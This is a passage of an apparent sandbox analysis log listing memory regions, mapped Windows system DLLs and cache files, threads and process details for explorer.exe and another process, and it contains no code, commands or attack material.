0x1d852856fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001d852850000" filename = "" Region: id = 7264 start_va = 0x1d8528b0000 end_va = 0x1d8529affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001d8528b0000" filename = "" Region: id = 7265 start_va = 0x1d852860000 end_va = 0x1d852898fff monitored = 0 entry_point = 0x1d8528612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7266 start_va = 0x1d852af0000 end_va = 0x1d852c77fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001d852af0000" filename = "" Region: id = 7267 start_va = 0x7ffe5e0b0000 end_va = 0x7ffe5e0eafff monitored = 0 entry_point = 0x7ffe5e0b12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7356 start_va = 0x1d852c80000 end_va = 0x1d852e00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001d852c80000" filename = "" Region: id = 7357 start_va = 0x1d852e10000 end_va = 0x1d85420ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001d852e10000" filename = "" Region: id = 7358 start_va = 0x1d852860000 end_va = 0x1d852860fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locationnotificationwindows.exe.mui" filename = "\\Windows\\System32\\en-US\\LocationNotificationWindows.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\locationnotificationwindows.exe.mui") Region: id = 7359 start_va = 0x1d852870000 end_va = 0x1d852870fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001d852870000" filename = "" Region: id = 7360 start_va = 0x1d852880000 end_va = 0x1d852880fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001d852880000" filename = "" Region: id = 7361 start_va = 0x1d854210000 end_va = 0x1d8542cffff monitored = 0 entry_point = 0x1d854230da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 7454 start_va = 0x1d852890000 end_va = 0x1d852891fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskbarcpl.dll.mui" filename = "\\Windows\\System32\\en-US\\taskbarcpl.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskbarcpl.dll.mui") Region: id = 7455 start_va = 0x1d854210000 end_va = 0x1d85428dfff monitored = 0 entry_point = 0x1d8542194a0 region_type = mapped_file name = "taskbarcpl.dll" filename = "\\Windows\\System32\\taskbarcpl.dll" (normalized: "c:\\windows\\system32\\taskbarcpl.dll") Region: id = 7456 start_va = 0x7ffe5b870000 end_va = 0x7ffe5b905fff monitored = 0 entry_point = 0x7ffe5b895570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 7457 start_va = 0x1d852a70000 end_va = 0x1d852aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001d852a70000" filename = "" Region: id = 7458 start_va = 0x1d852ae0000 end_va = 0x1d852aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001d852ae0000" filename = "" Region: id = 7510 start_va = 0x1d8528a0000 end_va = 0x1d8528a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001d8528a0000" filename = "" Region: id = 7511 start_va = 0x7ffe5fa90000 end_va = 0x7ffe5fbe9fff monitored = 0 entry_point = 0x7ffe5fad38e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7512 start_va = 0x1d8528a0000 end_va = 0x1d8528a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001d8528a0000" filename = "" Region: id = 7513 start_va = 0x1d854290000 end_va = 0x1d85434bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001d854290000" filename = "" Region: id = 7514 start_va = 0x1d8528a0000 end_va = 0x1d8528a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001d8528a0000" filename = "" Region: id = 7724 start_va = 0x7ffe5a770000 end_va = 0x7ffe5a791fff monitored = 0 entry_point = 0x7ffe5a771a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 7725 start_va = 0x1d852a70000 end_va = 0x1d852a71fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskbarcpl.dll.mui" filename = "\\Windows\\System32\\en-US\\taskbarcpl.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskbarcpl.dll.mui") Region: id = 7726 start_va = 0x1d852aa0000 end_va = 0x1d852aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000001d852aa0000" filename = "" Region: id = 7727 start_va = 0x1d854350000 end_va = 0x1d8543cdfff monitored = 0 entry_point = 0x1d8543594a0 region_type = mapped_file name = "taskbarcpl.dll" filename = "\\Windows\\System32\\taskbarcpl.dll" (normalized: "c:\\windows\\system32\\taskbarcpl.dll") Region: id = 7728 start_va = 0x1d852a80000 end_va = 0x1d852a80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000001d852a80000" filename = "" Region: id = 7729 start_va = 0x1d8543d0000 end_va = 0x1d854706fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7739 start_va = 0x6d1c480000 end_va = 0x6d1c4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000006d1c480000" filename = "" Region: id = 7740 start_va = 0x1d854710000 end_va = 0x1d8547ecfff monitored = 0 entry_point = 0x1d85476e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 7891 start_va = 0x1d852890000 end_va = 0x1d852891fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskbarcpl.dll.mui" filename = "\\Windows\\System32\\en-US\\taskbarcpl.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskbarcpl.dll.mui") Region: id = 7892 start_va = 0x1d854210000 end_va = 0x1d85428dfff monitored = 0 entry_point = 0x1d8542194a0 region_type = mapped_file name = "taskbarcpl.dll" filename = "\\Windows\\System32\\taskbarcpl.dll" (normalized: "c:\\windows\\system32\\taskbarcpl.dll") Thread: id = 464 os_tid = 0x590 Thread: id = 496 os_tid = 0x608 Thread: id = 591 os_tid = 0x37c Process: id = "87" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x32e61000" os_pid = "0x614" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "85" os_parent_pid = "0x600" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f469" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7005 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7006 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7007 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7008 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 7009 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 7010 start_va = 0xe0000 end_va = 0xe1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 7011 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 7012 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7013 start_va = 0x1c0000 end_va = 0x1c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 7014 start_va = 0x1d0000 end_va = 0x1d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "explorer.exe.mui" filename = "\\Windows\\en-US\\explorer.exe.mui" (normalized: "c:\\windows\\en-us\\explorer.exe.mui") Region: id = 7015 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 7016 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 7017 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 7018 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 7019 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 7020 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 7021 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 7022 start_va = 0x440000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 7023 start_va = 0x540000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 7024 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 7025 start_va = 0x5d0000 end_va = 0x5d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 7026 start_va = 0x5e0000 end_va = 0x5f4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db") Region: id = 7027 start_va = 0x600000 end_va = 0x600fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 7028 start_va = 0x610000 end_va = 0x628fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000001e.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x000000000000001e.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000001e.db") Region: id = 7029 start_va = 0x630000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 7030 start_va = 0x640000 end_va = 0x7c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 7031 start_va = 0x7d0000 end_va = 0x950fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 7032 start_va = 0x960000 end_va = 0x1d5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 7033 start_va = 0x1d60000 end_va = 0x2096fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7034 start_va = 0x20a0000 end_va = 0x2100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shell32.dll.mui" filename = "\\Windows\\System32\\en-US\\shell32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\shell32.dll.mui") Region: id = 7035 start_va = 0x2110000 end_va = 0x2111fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002110000" filename = "" Region: id = 7036 start_va = 0x2120000 end_va = 0x219ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 7037 start_va = 0x21a0000 end_va = 0x221ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 7038 start_va = 0x2220000 end_va = 0x229ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 7039 start_va = 0x22a0000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 7040 start_va = 0x2320000 end_va = 0x2321fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002320000" filename = "" Region: id = 7041 start_va = 0x2330000 end_va = 0x235dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002330000" filename = "" Region: id = 7042 start_va = 0x2360000 end_va = 0x243ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 7043 start_va = 0x2440000 end_va = 0x24bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002440000" filename = "" Region: id = 7044 start_va = 0x24c0000 end_va = 0x253ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 7045 start_va = 0x2540000 end_va = 0x25bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 7046 start_va = 0x25c0000 end_va = 0x25c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025c0000" filename = "" Region: id = 7047 start_va = 0x25d0000 end_va = 0x25d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025d0000" filename = "" Region: id = 7048 start_va = 0x25e0000 end_va = 0x25e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 7049 start_va = 0x25f0000 end_va = 0x25f4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll.mui" filename = "\\Windows\\System32\\en-US\\oleaccrc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\oleaccrc.dll.mui") Region: id = 7050 start_va = 0x2600000 end_va = 0x26bbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 7051 start_va = 0x26c0000 end_va = 0x26c3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000026c0000" filename = "" Region: id = 7052 start_va = 0x26d0000 end_va = 0x27cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 7053 start_va = 0x27d0000 end_va = 0x27d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 7054 start_va = 0x27e0000 end_va = 0x27e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027e0000" filename = "" Region: id = 7055 start_va = 0x27f0000 end_va = 0x382ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 7056 start_va = 0x3830000 end_va = 0x3830fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003830000" filename = "" Region: id = 7057 start_va = 0x3840000 end_va = 0x3840fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003840000" filename = "" Region: id = 7058 start_va = 0x3850000 end_va = 0x3850fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003850000" filename = "" Region: id = 7059 start_va = 0x3860000 end_va = 0x3861fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003860000" filename = "" Region: id = 7060 start_va = 0x3870000 end_va = 0x38effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003870000" filename = "" Region: id = 7061 start_va = 0x38f0000 end_va = 0x38f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000038f0000" filename = "" Region: id = 7062 start_va = 0x3900000 end_va = 0x3900fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003900000" filename = "" Region: id = 7063 start_va = 0x3910000 end_va = 0x3910fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003910000" filename = "" Region: id = 7064 start_va = 0x3920000 end_va = 0x3920fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003920000" filename = "" Region: id = 7065 start_va = 0x3930000 end_va = 0x3a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003930000" filename = "" Region: id = 7066 start_va = 0x3a30000 end_va = 0x3a30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a30000" filename = "" Region: id = 7067 start_va = 0x3a40000 end_va = 0x3a4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a40000" filename = "" Region: id = 7068 start_va = 0x3a50000 end_va = 0x3a5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a50000" filename = "" Region: id = 7069 start_va = 0x3a60000 end_va = 0x3a6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003a60000" filename = "" Region: id = 7070 start_va = 0x3a70000 end_va = 0x3a70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a70000" filename = "" Region: id = 7071 start_va = 0x3a80000 end_va = 0x3a80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a80000" filename = "" Region: id = 7072 start_va = 0x3a90000 end_va = 0x3a90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003a90000" filename = "" Region: id = 7073 start_va = 0x3aa0000 end_va = 0x3aa3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 7074 start_va = 0x3ab0000 end_va = 0x3ab0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ab0000" filename = "" Region: id = 7075 start_va = 0x3ac0000 end_va = 0x3ac0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ac0000" filename = "" Region: id = 7076 start_va = 0x3ad0000 end_va = 0x3ad0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ad0000" filename = "" Region: id = 7077 start_va = 0x3ae0000 end_va = 0x3ae1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ae0000" filename = "" Region: id = 7078 start_va = 0x3af0000 end_va = 0x3b28fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003af0000" filename = "" Region: id = 7079 start_va = 0x3b30000 end_va = 0x3b30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b30000" filename = "" Region: id = 7080 start_va = 0x3b40000 end_va = 0x3b40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b40000" filename = "" Region: id = 7081 start_va = 0x3b60000 end_va = 0x3b83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b60000" filename = "" Region: id = 7082 start_va = 0x3b90000 end_va = 0x3bb3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b90000" filename = "" Region: id = 7083 start_va = 0x3bc0000 end_va = 0x3bc1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003bc0000" filename = "" Region: id = 7084 start_va = 0x3bd0000 end_va = 0x3bd3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 7085 start_va = 0x3be0000 end_va = 0x3c24fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000010.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db") Region: id = 7086 start_va = 0x3c30000 end_va = 0x3c33fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 7087 start_va = 0x3c40000 end_va = 0x3ccdfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 7088 start_va = 0x3cd0000 end_va = 0x3ce0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 7089 start_va = 0x3cf0000 end_va = 0x3d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003cf0000" filename = "" Region: id = 7090 start_va = 0x3d70000 end_va = 0x3deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d70000" filename = "" Region: id = 7091 start_va = 0x3df0000 end_va = 0x3e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003df0000" filename = "" Region: id = 7092 start_va = 0x3e70000 end_va = 0x3e70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e70000" filename = "" Region: id = 7093 start_va = 0x3f00000 end_va = 0x3f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 7094 start_va = 0x3f80000 end_va = 0x3ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f80000" filename = "" Region: id = 7095 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7096 start_va = 0x7df5ff1e0000 end_va = 0x7ff5ff1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff1e0000" filename = "" Region: id = 7097 start_va = 0x7ff62f4f0000 end_va = 0x7ff62f5effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff62f4f0000" filename = "" Region: id = 7098 start_va = 0x7ff62f5f0000 end_va = 0x7ff62f612fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff62f5f0000" filename = "" Region: id = 7099 start_va = 0x7ff62f9c0000 end_va = 0x7ff62fe07fff monitored = 0 entry_point = 0x7ff62fa5e090 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 7100 start_va = 0x7ffe53300000 end_va = 0x7ffe5330bfff monitored = 0 entry_point = 0x7ffe533018b0 region_type = mapped_file name = "wldp.dll" filename = "\\Windows\\System32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll") Region: id = 7101 start_va = 0x7ffe53310000 end_va = 0x7ffe5335cfff monitored = 0 entry_point = 0x7ffe5331d180 region_type = mapped_file name = "windows.immersiveshell.serviceprovider.dll" filename = "\\Windows\\System32\\windows.immersiveshell.serviceprovider.dll" (normalized: "c:\\windows\\system32\\windows.immersiveshell.serviceprovider.dll") Region: id = 7102 start_va = 0x7ffe53360000 end_va = 0x7ffe53e6afff monitored = 0 entry_point = 0x7ffe534aa540 region_type = mapped_file name = "twinui.dll" filename = "\\Windows\\System32\\twinui.dll" (normalized: "c:\\windows\\system32\\twinui.dll") Region: id = 7103 start_va = 0x7ffe53e70000 end_va = 0x7ffe53ebffff monitored = 0 entry_point = 0x7ffe53e72580 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\System32\\edputil.dll" (normalized: "c:\\windows\\system32\\edputil.dll") Region: id = 7104 start_va = 0x7ffe53ec0000 end_va = 0x7ffe5435ffff monitored = 0 entry_point = 0x7ffe53f58740 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 7105 start_va = 0x7ffe54360000 end_va = 0x7ffe543a9fff monitored = 0 entry_point = 0x7ffe54365800 region_type = mapped_file name = "dataexchange.dll" filename = "\\Windows\\System32\\DataExchange.dll" (normalized: "c:\\windows\\system32\\dataexchange.dll") Region: id = 7106 start_va = 0x7ffe543b0000 end_va = 0x7ffe54419fff monitored = 0 entry_point = 0x7ffe543c5e90 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 7107 start_va = 0x7ffe54420000 end_va = 0x7ffe54484fff monitored = 0 entry_point = 0x7ffe54424c50 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 7108 start_va = 0x7ffe54490000 end_va = 0x7ffe54703fff monitored = 0 entry_point = 0x7ffe54500400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 7109 start_va = 0x7ffe54710000 end_va = 0x7ffe547ddfff monitored = 0 entry_point = 0x7ffe547414c0 region_type = mapped_file name = "tokenbroker.dll" filename = "\\Windows\\System32\\TokenBroker.dll" (normalized: "c:\\windows\\system32\\tokenbroker.dll") Region: id = 7110 start_va = 0x7ffe547e0000 end_va = 0x7ffe548d8fff monitored = 0 entry_point = 0x7ffe54828000 region_type = mapped_file name = "settingsynccore.dll" filename = "\\Windows\\System32\\SettingSyncCore.dll" (normalized: "c:\\windows\\system32\\settingsynccore.dll") Region: id = 7111 start_va = 0x7ffe548e0000 end_va = 0x7ffe548f4fff monitored = 0 entry_point = 0x7ffe548e2c90 region_type = mapped_file name = "settingsyncpolicy.dll" filename = "\\Windows\\System32\\SettingSyncPolicy.dll" (normalized: "c:\\windows\\system32\\settingsyncpolicy.dll") Region: id = 7112 start_va = 0x7ffe54900000 end_va = 0x7ffe549b0fff monitored = 0 entry_point = 0x7ffe549108f0 region_type = mapped_file name = "twinapi.dll" filename = "\\Windows\\System32\\twinapi.dll" (normalized: "c:\\windows\\system32\\twinapi.dll") Region: id = 7113 start_va = 0x7ffe55e50000 end_va = 0x7ffe55ea4fff monitored = 0 entry_point = 0x7ffe55e53fb0 region_type = mapped_file name = "policymanager.dll" filename = 